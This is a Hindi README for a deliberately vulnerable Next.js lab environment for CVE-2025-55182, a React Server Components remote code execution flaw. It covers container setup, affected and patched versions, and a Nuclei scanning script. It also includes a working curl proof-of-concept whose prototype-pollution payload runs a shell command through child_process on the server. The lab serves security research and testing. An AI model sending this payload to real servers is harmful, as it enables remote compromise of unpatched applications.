
CVE-2025-55182 के लिए एक कंटेनरीकृत परीक्षण वातावरण, जो React Server Components में एक गंभीर (10.0 CVSS) रिमोट कोड निष्पादन भेद्यता है।
CVE-2025-55182 के लिए एक कंटेनरीकृत परीक्षण वातावरण, जो React सर्वर घटकों में एक गंभीर (10.0 CVSS) दूरस्थ कोड निष्पादन भेद्यता है।
यह वातावरण जानबूझकर असुरक्षित है और इसका उपयोग केवल इसके लिए किया जाना चाहिए:
न करें:
React पैकेज:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0Next.js:
React: 19.0.1, 19.1.2, 19.2.1 Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
# Build and start the vulnerable environment
podman compose up --build -d
# Check it's running
curl http://localhost:3000/api/status
# View logs
podman logs -f react2shell-vuln
# Stop
podman compose down
# Build and start the vulnerable environment
docker-compose up --build -d
# Access the application at http://localhost:3000
.
├── README.md # यह फ़ाइल
├── Dockerfile # कंटेनर निर्माण निर्देश
├── Dockerfile.dev # हॉट रीलोड के साथ विकास कंटेनर
├── docker-compose.yml # Docker/Podman Compose कॉन्फ़िगरेशन
├── CVE-2025-55182.yaml # Nuclei स्कैनर टेम्पलेट
├── scan.sh # सामान्य-उद्देश्य Nuclei स्कैनर स्क्रिप्ट
├── scan-results/ # स्कैन आउटपुट निर्देशिका
└── vulnerable-app/ # असुरक्षित Next.js एप्लिकेशन
├── package.json # निर्भरताएँ (असुरक्षित संस्करण)
├── next.config.js # Next.js कॉन्फ़िगरेशन
├── tsconfig.json # TypeScript कॉन्फ़िगरेशन
└── app/ # ऐप राउटर पेज और घटक
├── layout.tsx # रूट लेआउट
├── page.tsx # सर्वर घटकों के साथ मुख्य पेज
├── globals.css # स्टाइल
├── actions.ts # सर्वर एक्शन
├── api/status/ # स्थिति API एंडपॉइंट
└── components/ # React घटक
यदि आपके पास टेम्पलेट नहीं है, तो इसे आधिकारिक nuclei-templates रिपॉजिटरी से डाउनलोड करें:
curl -o CVE-2025-55182.yaml https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-55182.yaml
शामिल scan.sh एक सामान्य-उद्देश्य Nuclei कंटेनर स्कैनर है जो Docker और Podman दोनों के साथ काम करता है।
# Scan the local vulnerable app
./scan.sh -u http://host.docker.internal:3000 -t CVE-2025-55182.yaml -v
# Scan any target
./scan.sh -u https://example.com -t CVE-2025-55182.yaml
# Scan with all Nuclei templates
./scan.sh -u https://example.com
# Scan multiple targets from a file
./scan.sh -l targets.txt -t CVE-2025-55182.yaml
# Filter by severity
./scan.sh -u https://example.com -s critical,high
# JSON output
./scan.sh -u https://example.com -t CVE-2025-55182.yaml -j
podman run --rm \
-v "$(pwd)/CVE-2025-55182.yaml:/templates/CVE-2025-55182.yaml:ro" \
docker.io/projectdiscovery/nuclei:latest \
-t /templates/CVE-2025-55182.yaml \
-u "http://host.docker.internal:3000" \
-v
एक बार कंटेनर चल रहा हो:
http://localhost:3000 पर एप्लिकेशन तक पहुँचेंhttp://localhost:3000/api/statusनोट: भेद्यता में RSC प्रोटोकॉल में असुरक्षित डिसीरियलाइज़ेशन शामिल है। Nuclei टेम्पलेट इस विशिष्ट आक्रमण वेक्टर का परीक्षण करता है।
पैच किए गए संस्करण का परीक्षण करने के लिए, vulnerable-app/package.json को संशोधित करें:
{
"dependencies": {
"next": "15.5.7",
"react": "^19.1.2",
"react-dom": "^19.1.2"
}
}
फिर पुनर्निर्माण करें:
# Podman
podman compose down
podman compose up --build -d
# Docker
docker-compose down
docker-compose up --build
यह परीक्षण वातावरण केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। रखरखावकर्ता इस सॉफ़्टवेयर के किसी भी दुरुपयोग के लिए उत्तरदायी नहीं हैं। सुरक्षा भेद्यताओं का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।
curl -X POST http://localhost:3000 \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
-H "X-Nextjs-Request-Id: test123" \
--data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary--' \
-i 2>&1 | grep -i "x-action-redirect"
| विकल्प | विवरण |
|---|
-u, --url <url> | स्कैन करने के लिए एकल लक्ष्य URL |
-l, --list <file> | लक्ष्य URL की सूची वाली फ़ाइल |
-t, --template <file> | कस्टम टेम्पलेट फ़ाइल या निर्देशिका |
-o, --output <dir> | आउटपुट निर्देशिका (डिफ़ॉल्ट: ./scan-results) |
-s, --severity <level> | फ़िल्टर: info, low, medium, high, critical |
-r, --rate-limit <n> | प्रति सेकंड अधिकतम अनुरोध |
-j, --json | परिणाम JSON प्रारूप में आउटपुट करें |
-v, --verbose | विस्तृत आउटपुट |
-h, --help | सहायता संदेश दिखाएँ |